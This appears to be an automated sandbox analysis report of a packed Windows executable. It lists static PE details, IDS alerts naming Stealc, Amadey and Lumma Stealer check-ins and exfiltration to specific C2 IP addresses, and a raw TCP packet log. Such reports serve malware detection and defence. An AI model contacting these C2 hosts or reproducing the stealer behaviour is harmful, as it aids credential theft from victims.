Preview:	)]}'.["",["refinance mortgage rates","denver broncos atlanta falcons","martin scorsese presents the saints","gta 6 leaked screenshots","leonids meteor shower","philadelphia eagles","monopoly go friendship pays rewards","nyt connections hints november 18"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXk0MWpmdnpwEglUViBzZXJpZXMywwxkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFhQUFBQ0F3RUJBQUFBQUFBQUFBQUFBQUFFQlFBREJnY0MvOFFBTHhBQUFnRURBZ1VEQWdZREFRQUFBQUFBQVFJREFBUVJFaUVGRXlJeFFUSlJZUVp4RkVLQmthSEJVckh3SS8vRUFCa0JBQU1CQVFF

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435261780962702
Encrypted:	false
SSDEEP:	3072:fLkPdsBJT7bKwkztS6STFSz1nrmbSnXYK02i6o:fkdUW5c5Sz1nKbSnoK08o
MD5:	2D030A7EAC726C28F1ABD59FA3EFAD81
SHA1:	7EBC97D5D379E593CDBA8C3EACD0884A6D2F490C
SHA-256:	07920531E21DE2EB37F147BEB37E2DE949CFE683D097E8EBFE42F12E8753785D
SHA-512:	675EA645350E281255EF085C572324E221937B0BCF25588F54BDE05566326F8B06CCAB2A43079D540743B78D20AF7C83BBFEB6C6BB59AB85FA525D87E5978D9F
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946225074811774
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'808'384 bytes
MD5:	65b0d19bd484bb9d3ad808b7c61772df
SHA1:	f2a923204dd0204f49a21f733a2c7cef80b264b9
SHA256:	5f63b56d3a9ec203169d12229c9b50c307dab72b3c9a80660daec1faba3be970
SHA512:	bbdd6217e3cea4571b434b4fd63fb04ce27ddaea18e66cceaf4dcd019968fdc6cd49593e58b71521af590fd83a4faf2325b9050b6e74ed146abb59b693c9abb0
SSDEEP:	49152:ZUq3qa9zj4RO/H/LtUbkMQG7kMHS2vav8NKVnwgwV85I/E8I:7a4X7/KbkMQG7nn5hgwyK/EP
TLSH:	BE8533024DA78D4ADDECD9B9B7E747E4472D9AB1E250B7E86E2391BC6B474C01373808
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD0FD33EBBAh
pcmpeqd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	2f07fc667213fcc1615ea02d559b7e3b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	1b863536f4d5f9e38349aa10014dc4dd	False	0.576171875	data	4.519479420045529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a7000	0x200	2d48f685c8defa87dc478deff4608c84	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yxhcafke	0x4f3000	0x1a0000	0x19fa00	31d19f3a4a034deaf6dcfae9b7b3dedb	False	0.9948425751879699	data	7.954416997813612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sfevywmg	0x693000	0x1000	0x400	b0bad9839522518cebc28f7dbcff0076	False	0.8310546875	data	6.405293618882617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	9ece4f68c52f08c2a83fac2107ace959	False	0.07433363970588236	DOS executable (COM)	0.7486504484603325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69276c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T15:16:31.808201+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49706	185.215.113.206	80	TCP
2024-11-18T15:16:32.090173+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.9	49706	185.215.113.206	80	TCP
2024-11-18T15:16:32.096435+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.9	49706	TCP
2024-11-18T15:16:32.372605+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.9	49706	185.215.113.206	80	TCP
2024-11-18T15:16:32.379713+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.9	49706	TCP
2024-11-18T15:16:33.665742+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.9	49706	185.215.113.206	80	TCP
2024-11-18T15:16:34.614004+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49706	185.215.113.206	80	TCP
2024-11-18T15:16:59.161792+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:02.608932+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:04.587773+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:05.669926+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:07.946516+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:08.414641+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:12.915707+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49829	185.215.113.16	80	TCP
2024-11-18T15:18:06.169959+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	49845	185.215.113.43	80	TCP
2024-11-18T15:18:09.525731+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49847	31.41.244.11	80	TCP
2024-11-18T15:18:18.859734+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.9	49846	TCP
2024-11-18T15:18:19.790236+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49849	185.215.113.43	80	TCP
2024-11-18T15:18:20.717572+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49850	185.215.113.16	80	TCP
2024-11-18T15:18:27.849045+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49852	188.114.97.3	443	TCP
2024-11-18T15:18:28.435609+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49852	188.114.97.3	443	TCP
2024-11-18T15:18:28.435609+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49852	188.114.97.3	443	TCP
2024-11-18T15:18:29.139801+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49853	185.215.113.43	80	TCP
2024-11-18T15:18:29.151563+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49854	188.114.97.3	443	TCP
2024-11-18T15:18:29.894151+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49854	188.114.97.3	443	TCP
2024-11-18T15:18:29.894151+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49854	188.114.97.3	443	TCP
2024-11-18T15:18:31.017872+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49856	188.114.97.3	443	TCP
2024-11-18T15:18:31.290550+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49855	185.215.113.16	80	TCP
2024-11-18T15:18:31.734242+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49856	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 15:16:21.704010010 CET	49676	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:21.705135107 CET	49675	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:21.969618082 CET	49674	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:28.563337088 CET	49677	443	192.168.2.9	20.189.173.11
Nov 18, 2024 15:16:30.590534925 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:30.597137928 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:30.597291946 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:30.597479105 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:30.604125977 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:31.313325882 CET	49676	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:31.314930916 CET	49675	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:31.507579088 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:31.507631063 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:31.512420893 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:31.517741919 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:31.578954935 CET	49674	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:31.808135986 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:31.808201075 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:31.809454918 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:31.814290047 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.090087891 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.090173006 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.090327024 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.090384007 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.091500998 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.096435070 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.372263908 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.372392893 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.372404099 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.372605085 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.372644901 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.372657061 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.372709990 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.373106003 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.373157024 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.373447895 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.373459101 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.373502016 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.374811888 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.379713058 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.655196905 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.657229900 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.673877954 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.673938990 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:32.678847075 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.678868055 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.678878069 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.678888083 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.678946972 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:32.678957939 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:33.374221087 CET	443	49705	23.206.229.209	192.168.2.9
Nov 18, 2024 15:16:33.374459982 CET	49705	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:16:33.665637016 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:33.665741920 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.335237026 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.340250969 CET	80	49706	185.215.113.206	192.168.2.9
